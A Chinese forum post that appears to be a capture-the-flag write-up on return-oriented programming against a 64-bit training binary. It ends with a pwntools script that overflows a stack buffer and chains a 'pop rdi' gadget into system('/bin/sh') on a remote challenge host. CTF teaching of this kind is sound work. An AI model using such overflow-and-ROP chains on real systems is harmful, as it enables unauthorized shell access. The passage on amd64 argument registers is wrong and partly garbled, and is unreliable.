找回密码
 立即注册
首页 业界区 安全 PWN手成长之路-05-ROP

PWN手成长之路-05-ROP

岭猿 4 天前
1.png

与远程环境进行交互,可以进行输入,但是输入之后无任何回显。
2.png

file 查看文件。64位 ELF 。
3.png

checksec 查看文件安全属性。
4.png

IDA 打开文件。查看 main 函数的反编译代码。
5.png

查看 buf 这个字符数组(栈上的缓冲区),本身 buf 有0x20的字节,另外在 buf 之后,栈上还有 8 字节的保存寄存器(Saved Regs)和 8 字节的返回地址(Return Address)**(对应汇编中的  s 和 r,各占 8 字节)。
6.png

ALT+B 进行搜索字符串:/bin,找到了后门函数。
7.png

并且在 say_hello 函数中发现了 system 这个提权函数。
8.png

9.png

双击这个 _system 函数,从而得到其地址。这个地址就是最后 system_addr 的地址。
10.png

11.png

原本的计划是通过栈溢出覆盖返回地址,直接调用 /bin/sh 字符串地址,再跳转到 system 函数(即缝合为 system("/bin/sh")),但是目标程序开启了 NX 保护,导致栈内存不可执行,无法直接注入并运行 shell  ,因此,需要采用 ROP(Return-Oriented Program) 技术绕过NX保护。
利用目标程序中已有的 pop rdi; ret 等gadget 设置函数参数,如将 /bin/sh 地址传入 RDI 寄存器,劫持控制流程到已经存在的 system 函数地址,实现 system("/bin/sh") 的调用,ROP 通过组合现有的代码片段(gadget)完成攻击,无需在栈上执行新代码,从而绕过 NX 限制。
但在漏洞利用的过程中,需要重点关注目标程序的调用约定。由于 32 位程序通过栈传递参数,而 amd64(x86_64) 程序的前六个参数,依次保存在 RDP、RSI、RCX、R8、R9 寄存器中,查出部分才会通过栈传递。因此在构造 ROP 链时,兽药典是需要确定 RDI 寄存器的地址,可以通过以下的命令来查询程序 RDI 寄存器的地址:
ROPgadget --binary pwn | grep 'pop rdi'
12.png

构造 exp:
流程:填充数据+rdi_addr+shell_addr+system_addr
  1. from pwn import *  
  2.   
  3. r=remote('node5.buuoj.cn',25975)  
  4. rdi_addr=0x400663  
  5. shell_addr=0x601048  
  6. system_addr=0x400480      
  7. payload=b'a'*(0x20+8)+p64(rdi_addr)+p64(shell_addr)+p64(system_addr)  
  8. r.sendline(payload)  
  9. r.interactive()
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册